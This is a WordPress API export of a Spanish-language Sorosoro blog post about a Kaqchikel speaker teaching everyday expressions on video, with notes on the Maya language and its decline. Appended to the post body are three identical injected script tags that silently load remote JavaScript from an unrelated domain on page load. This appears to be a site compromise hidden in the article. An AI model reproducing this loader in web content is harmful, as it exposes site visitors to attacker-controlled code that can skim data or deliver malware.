{"id":61782,"date":"2011-11-29T12:35:25","date_gmt":"2011-11-29T11:35:25","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=61782"},"modified":"2025-10-21T22:12:26","modified_gmt":"2025-10-21T20:12:26","slug":"las-expresiones-corrientes-en-kaqchikel","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2011\/11\/las-expresiones-corrientes-en-kaqchikel\/","title":{"rendered":"Las expresiones corrientes en kaqchikel"},"content":{"rendered":"<p style=\"text-align: justify;\">Estamos en <strong>Guatemala <\/strong>con los <strong>kaqchikel<\/strong>, uno de los pueblos maya de la regi\u00f3n.<strong> Jos\u00e9 Alfredo Obdulio Per\u00e9n Gabino<\/strong> va a ense\u00f1arnos algunas de las expresiones corrientes en su lengua: \u201chombre blanco\u201d, \u201ctengo hambre\u201d, \u201cquiero dormir\u201d, \u201cquiero bailar\u201d y por supuesto \u201cte quiero\u201d\u2026<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/es\/videos-en-lengua-kaqchikel-%E2%80%93-guatemala\">Ver todos los v\u00eddeos en kaqchikel<\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/es\/el-kaqchikel\">Leer la ficha sobre el kaqchikel<\/a><\/p>\n<p><object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"610\" height=\"370\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=6,0,40,0\"><param name=\"allowFullScreen\" value=\"true\" \/><param name=\"allowscriptaccess\" value=\"always\" \/><param name=\"src\" value=\"http:\/\/www.youtube.com\/v\/1T7Xx8VEYmY?version=3&amp;hl=fr_FR&amp;rel=0\" \/><param name=\"allowfullscreen\" value=\"true\" \/><embed type=\"application\/x-shockwave-flash\" width=\"610\" height=\"370\" src=\"http:\/\/www.youtube.com\/v\/1T7Xx8VEYmY?version=3&amp;hl=fr_FR&amp;rel=0\" allowscriptaccess=\"always\" allowfullscreen=\"true\"><\/embed><\/object><br \/>\n<span style=\"text-decoration: underline;\">Ling\u00fcista<\/span>: Nikte Sis Iboy<br \/>\n<span style=\"text-decoration: underline;\">Imagen y sonido<\/span>: Jos\u00e9 Reyn\u00e8s<br \/>\n<span style=\"text-decoration: underline;\">Montaje<\/span>: Caroline Laurent<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><em>El kaqchikel es <strong>una de las 30 lenguas <a href=\"https:\/\/www.sorosoro.org\/es\/familia-de-las-lenguas-mayas\">mayas<\/a><\/strong> (21 son habladas en Guatemala y 9 en M\u00e9xico). Pertenece a la  rama k\u2019iche\u2019, y es cercano de las lenguas k\u2019ichee\u2019 y tz\u2019utujiil<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Sus locutores viven principalmente en la regi\u00f3n volc\u00e1nica de Chimaltenango, al centro oeste de Guatemala, cerca del lago Atitl\u00e1n. Es una regi\u00f3n pobre, esencialmente agr\u00edcola donde el cultivo del ma\u00edz juega un papel preponderante. Es una de las lenguas m\u00e1s habladas junto con el k\u2019ichee\u2019, el yucateco, el wasteko, el mam y el q\u2019eqchi. Se estima que hay alrededor de medio mill\u00f3n de locutores de lengua kaqchikel, principalmente biling\u00fces en espa\u00f1ol.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>A pesar de una situaci\u00f3n demogr\u00e1fica normalmente favorable, el kaqchikel, que <strong>pierde velocidad entre las j\u00f3venes generaciones<\/strong>, se transmite cada vez menos. Con \u00e9l, partes enteras de la cultura y de los conocimientos mayas est\u00e1n amenazados con desaparecer.<\/em><\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Estamos en Guatemala con los kaqchikel, uno de los pueblos maya de la regi\u00f3n. Jos\u00e9 Alfredo Obdulio Per\u00e9n Gabino va a ense\u00f1arnos algunas de las expresiones corrientes en su lengua: \u201chombre blanco\u201d, \u201ctengo hambre\u201d, \u201cquiero dormir\u201d, \u201cquiero bailar\u201d y por supuesto \u201cte quiero\u201d\u2026 Ver todos los v\u00eddeos en kaqchikel Leer la ficha sobre el kaqchikel [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[25],"tags":[],"class_list":["post-61782","post","type-post","status-publish","format-standard","hentry","category-video-de-la-semana"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Las expresiones corrientes en kaqchikel - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2011\/11\/las-expresiones-corrientes-en-kaqchikel\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Las expresiones corrientes en kaqchikel - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Estamos en Guatemala con los kaqchikel, uno de los pueblos maya de la regi\u00f3n. Jos\u00e9 Alfredo Obdulio Per\u00e9n Gabino va a ense\u00f1arnos algunas de las expresiones corrientes en su lengua: \u201chombre blanco\u201d, \u201ctengo hambre\u201d, \u201cquiero dormir\u201d, \u201cquiero bailar\u201d y por supuesto \u201cte quiero\u201d\u2026 Ver todos los v\u00eddeos en kaqchikel Leer la ficha sobre el kaqchikel [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2011\/11\/las-expresiones-corrientes-en-kaqchikel\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-11-29T11:35:25+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:12:26+00:00\" \/>\n<meta name=\"author\" content=\"Michel.Lemee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michel.Lemee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minuto\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/11\/las-expresiones-corrientes-en-kaqchikel\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/11\/las-expresiones-corrientes-en-kaqchikel\/\"},\"author\":{\"name\":\"Michel.Lemee\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"headline\":\"Las expresiones corrientes en kaqchikel\",\"datePublished\":\"2011-11-29T11:35:25+00:00\",\"dateModified\":\"2025-10-21T20:12:26+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/11\/las-expresiones-corrientes-en-kaqchikel\/\"},\"wordCount\":236,\"articleSection\":[\"Todos los videos\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/11\/las-expresiones-corrientes-en-kaqchikel\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2011\/11\/las-expresiones-corrientes-en-kaqchikel\/\",\"name\":\"Las expresiones corrientes en kaqchikel - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2011-11-29T11:35:25+00:00\",\"dateModified\":\"2025-10-21T20:12:26+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/11\/las-expresiones-corrientes-en-kaqchikel\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2011\/11\/las-expresiones-corrientes-en-kaqchikel\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/11\/las-expresiones-corrientes-en-kaqchikel\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Las expresiones corrientes en kaqchikel\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\",\"name\":\"Michel.Lemee\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Las expresiones corrientes en kaqchikel - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2011\/11\/las-expresiones-corrientes-en-kaqchikel\/","og_locale":"es_ES","og_type":"article","og_title":"Las expresiones corrientes en kaqchikel - Sorosoro","og_description":"Estamos en Guatemala con los kaqchikel, uno de los pueblos maya de la regi\u00f3n. Jos\u00e9 Alfredo Obdulio Per\u00e9n Gabino va a ense\u00f1arnos algunas de las expresiones corrientes en su lengua: \u201chombre blanco\u201d, \u201ctengo hambre\u201d, \u201cquiero dormir\u201d, \u201cquiero bailar\u201d y por supuesto \u201cte quiero\u201d\u2026 Ver todos los v\u00eddeos en kaqchikel Leer la ficha sobre el kaqchikel [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2011\/11\/las-expresiones-corrientes-en-kaqchikel\/","og_site_name":"Sorosoro","article_published_time":"2011-11-29T11:35:25+00:00","article_modified_time":"2025-10-21T20:12:26+00:00","author":"Michel.Lemee","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Michel.Lemee","Tiempo de lectura":"1 minuto"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2011\/11\/las-expresiones-corrientes-en-kaqchikel\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/11\/las-expresiones-corrientes-en-kaqchikel\/"},"author":{"name":"Michel.Lemee","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"headline":"Las expresiones corrientes en kaqchikel","datePublished":"2011-11-29T11:35:25+00:00","dateModified":"2025-10-21T20:12:26+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/11\/las-expresiones-corrientes-en-kaqchikel\/"},"wordCount":236,"articleSection":["Todos los videos"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2011\/11\/las-expresiones-corrientes-en-kaqchikel\/","url":"https:\/\/www.sorosoro.org\/es\/2011\/11\/las-expresiones-corrientes-en-kaqchikel\/","name":"Las expresiones corrientes en kaqchikel - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2011-11-29T11:35:25+00:00","dateModified":"2025-10-21T20:12:26+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/11\/las-expresiones-corrientes-en-kaqchikel\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2011\/11\/las-expresiones-corrientes-en-kaqchikel\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2011\/11\/las-expresiones-corrientes-en-kaqchikel\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"Las expresiones corrientes en kaqchikel"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18","name":"Michel.Lemee","url":"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/61782","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=61782"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/61782\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=61782"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=61782"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=61782"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}